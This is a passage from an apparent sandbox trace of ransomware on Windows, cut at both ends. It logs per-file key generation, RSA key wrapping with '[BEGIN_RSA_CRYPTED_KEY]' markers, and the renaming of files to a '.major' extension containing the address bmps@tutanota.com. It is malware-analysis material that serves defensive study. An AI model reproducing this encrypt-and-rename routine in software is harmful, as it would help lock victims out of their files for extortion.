nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0204.330] CloseHandle (hObject=0x1348) returned 1 [0204.331] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\Nexus.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\nexus.json"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\Nexus.json.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\nexus.json.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0204.510] SetLastError (dwErrCode=0x0) [0204.510] GetLastError () returned 0x0 [0204.510] SetLastError (dwErrCode=0x0) [0204.510] GetLastError () returned 0x0 [0204.510] SetLastError (dwErrCode=0x0) [0204.510] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0204.510] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be478 [0204.511] SetLastError (dwErrCode=0x0) [0204.511] GetLastError () returned 0x0 [0204.511] SetLastError (dwErrCode=0x0) [0204.511] GetLastError () returned 0x0 [0204.511] SetLastError (dwErrCode=0x0) [0204.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0204.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9a0 [0204.511] SetLastError (dwErrCode=0x0) [0204.511] GetLastError () returned 0x0 [0204.511] SetLastError (dwErrCode=0x0) [0204.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0204.511] SetLastError (dwErrCode=0x0) [0204.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60670 [0204.511] SetLastError (dwErrCode=0x12) [0204.511] GetLastError () returned 0x12 [0204.511] SetLastError (dwErrCode=0x12) [0204.511] GetLastError () returned 0x12 [0204.511] SetLastError (dwErrCode=0x12) [0204.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0204.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb00 [0204.511] SetLastError (dwErrCode=0x12) [0204.511] GetLastError () returned 0x12 [0204.512] SetLastError (dwErrCode=0x12) [0204.512] GetLastError () returned 0x12 [0204.512] SetLastError (dwErrCode=0x12) [0204.512] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0204.512] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be3c8 [0204.512] SetLastError (dwErrCode=0x12) [0204.512] GetLastError () returned 0x12 [0204.512] SetLastError (dwErrCode=0x12) [0204.512] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e428 [0204.512] SetLastError (dwErrCode=0x12) [0204.512] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60670 [0204.512] SetLastError (dwErrCode=0x12) [0204.512] GetLastError () returned 0x12 [0204.512] SetLastError (dwErrCode=0x12) [0204.512] GetLastError () returned 0x12 [0204.512] SetLastError (dwErrCode=0x12) [0204.512] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0204.512] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bea50 [0204.512] SetLastError (dwErrCode=0x12) [0204.512] GetLastError () returned 0x12 [0204.512] SetLastError (dwErrCode=0x12) [0204.512] GetLastError () returned 0x12 [0204.512] SetLastError (dwErrCode=0x12) [0204.512] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0204.512] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be2c0 [0204.512] SetLastError (dwErrCode=0x12) [0204.512] GetLastError () returned 0x12 [0204.512] SetLastError (dwErrCode=0x12) [0204.513] GetLastError () returned 0x12 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] GetLastError () returned 0x12 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] GetLastError () returned 0x12 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] GetLastError () returned 0x12 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] GetLastError () returned 0x12 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60670 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] GetLastError () returned 0x12 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] GetLastError () returned 0x12 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0204.513] SetLastError (dwErrCode=0x12) [0204.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0204.513] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0204.513] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0204.514] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668ed8 [0204.514] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0204.514] ReadFile (in: hFile=0x1354, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0204.514] SetFilePointer (in: hFile=0x1354, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0204.514] WriteFile (in: hFile=0x1354, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0204.514] SetFilePointer (in: hFile=0x1354, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0204.515] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0204.515] WriteFile (in: hFile=0x1354, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0204.516] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0204.516] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0204.516] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0204.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0204.516] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="bhiHvSitSA+zAjKGwElvLTF23bjMzz4JIS4wSu4XVbsawYN+wOOkA5MY/oJpvEsr\n0Nf/Gb4mJsy91xIZDSVYViyuOO98pEg3teyKpxpOia2nJ8okTnecfwzR3WRS86F2\nMhXYc4iKc0e3oB6YQoIi7Goh4EveAaXhSPHAg4uJ/CCgDlv5Juk5Olo4UrM/wdwN\nOJNEGuezAdH2XMBchByR8hqJl5utk4koOmQqDad6k4spsOoU72xynvPioGzW/nb9\nKM3QgCzWMBrSPjIPBo7Q8A0H4GhMx8Fy2Bbk+EVNX+uOOSVsNv6smqMth0ltp5OD\noauk5QUWx8aHoszwbVXrPg==\n", pcchString=0x2e3f9a8) returned 1 [0204.516] WriteFile (in: hFile=0x1354, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0204.516] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0204.516] WriteFile (in: hFile=0x1354, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0204.517] CloseHandle (hObject=0x1354) returned 1 [0204.517] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\settings.dat.log2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\settings.dat.log2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0204.518] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0204.518] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0204.520] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668d28 [0204.520] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0204.520] ReadFile (in: hFile=0x1354, lpBuffer=0x2f2d010, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f2d010*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0204.699] SetFilePointer (in: hFile=0x1354, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0204.699] WriteFile (in: hFile=0x1354, lpBuffer=0x2f31018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f31018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0204.700] SetFilePointer (in: hFile=0x1354, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0204.700] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0204.700] WriteFile (in: hFile=0x1354, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0204.700] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0204.700] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0204.701] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0204.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0204.701] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="g8L4eCnQJ7Xsm0I3daNBYQwwHlOZteEXWcbz1vLEBy0jMwOpfre0/a4HI3LRK+vZ\ndMmhpQE6k5ah/jNo2euO9clEy/hXqJznp3oZpk6r0Mn/LolAiKCPJmh6VrQuDuJG\nyf+zBcMasstwJ+jJJST6JwECchGPZjuulSUWYZgMY1mAvtRcVfGzhIIpi6dfw4xn\neL44vsJgETUDaM7TnlkbJHx3cck0lgXn8XXdzZmTWTfDOL9V3fXq5JJrLVgou8xR\n9JZ0JvdA5m8x53LcQ3ScVZ3wbNVMu/3LPmFVEX55FA/N2rybD0NgcmzrCTjMd9kM\nPp8ApsZzTLL4q5P1Br6BQg==\n", pcchString=0x2e3f9a8) returned 1 [0204.701] WriteFile (in: hFile=0x1354, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0204.701] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0204.701] WriteFile (in: hFile=0x1354, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0204.701] CloseHandle (hObject=0x1354) returned 1 [0204.701] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\settings.dat.log1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\settings.dat.log1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.030] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.030] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0205.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664530 [0205.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60dd38 [0205.031] ReadFile (in: hFile=0x1354, lpBuffer=0x2f2d010, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f2d010*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0205.033] SetFilePointer (in: hFile=0x1354, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.033] WriteFile (in: hFile=0x1354, lpBuffer=0x2f31018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f31018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0205.033] SetFilePointer (in: hFile=0x1354, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0205.033] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.033] WriteFile (in: hFile=0x1354, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.034] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.034] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.034] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.035] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vABj79INVbh7vQqMELgxQufLV6jr/gSoNWQh00OtH9woGw4FxLxzChStCyePR3ZB\n7T0sPQDvC35veCXFLpinkPPihvQyYv0aappp6mZzQ1OYSqhTCZ7H6AjCrLcFRLbx\ne5GgyzJ+RXpkpxuNZ4w28sJLfJJ+UWKxLYv38MVJBIifYPWAIR492HkDnV5+tg2F\n7J3VIFe4LZJHWhxEi4XaYmGAOFnbwWo2vXN9QAgrW6lRYT0dH36X0M1AQU4WddWB\npUMUF5xYc3Qx3MXU9UfDGtc3WO5Q1EcW1EIBBEs2atHEmyyW8zZdcEpSOUpHemRM\nsms8oO51etXc/07KSGizRQ==\n", pcchString=0x2e3f9a8) returned 1 [0205.035] WriteFile (in: hFile=0x1354, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.035] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.035] WriteFile (in: hFile=0x1354, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.035] CloseHandle (hObject=0x1354) returned 1 [0205.036] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\settings.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.037] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.038] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0205.038] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664d00 [0205.038] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60de60 [0205.038] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1354 [0205.039] GetFileSizeEx (in: hFile=0x1354, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0205.039] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0205.039] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0205.039] ReadFile (in: hFile=0x1354, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.039] SetFilePointer (in: hFile=0x1354, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.039] WriteFile (in: hFile=0x1354, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.039] SetFilePointer (in: hFile=0x1354, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0205.039] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.039] WriteFile (in: hFile=0x1354, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.040] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.040] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.041] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.041] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AK8ZcMnoBlnpLH+0HKc+SEd1Kwg3KKvNM4uUh7v6F61ao7KcYcT1qF0sAYWNGeoX\nHub0bBbISSqxzXRXA0LuprlhOJ3klR0L8bTvPi7InilCw+H8KuPlMzHpxJHye1k9\nzh3FPe681k33X86I59TxgBP+7x6PGbQEDGxf4bQfOjQbD5X182ArJycXlCzsUXqJ\nEc31eBO2NHXSOMkpWH9L6nG3Cu09wBhRDfjrmfVZqJQ1iXEaNjHeDjhXgFz5M4Xw\ntFudslvRdDzAAJZ8Z3C3KDO/FlbeehweHxnJEO318e4+o16lORwVeUM7RaKFeh3s\ndH/4RG5/BCpQe6wZ9dnlrw==\n", pcchString=0x2e3f9a8) returned 1 [0205.041] WriteFile (in: hFile=0x1354, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.041] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.041] WriteFile (in: hFile=0x1354, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.041] CloseHandle (hObject=0x1354) returned 1 [0205.041] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\roaming.lock.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\settings\\roaming.lock.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.044] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef652437, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xef652437, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x316dfb59, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee4bc8 [0205.044] SetLastError (dwErrCode=0x0) [0205.044] GetLastError () returned 0x0 [0205.044] SetLastError (dwErrCode=0x0) [0205.044] GetLastError () returned 0x0 [0205.044] SetLastError (dwErrCode=0x0) [0205.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be8f0 [0205.044] FindNextFileW (in: hFindFile=0x2ee4bc8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef652437, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xef652437, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x316dfb59, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.044] SetLastError (dwErrCode=0x0) [0205.044] GetLastError () returned 0x0 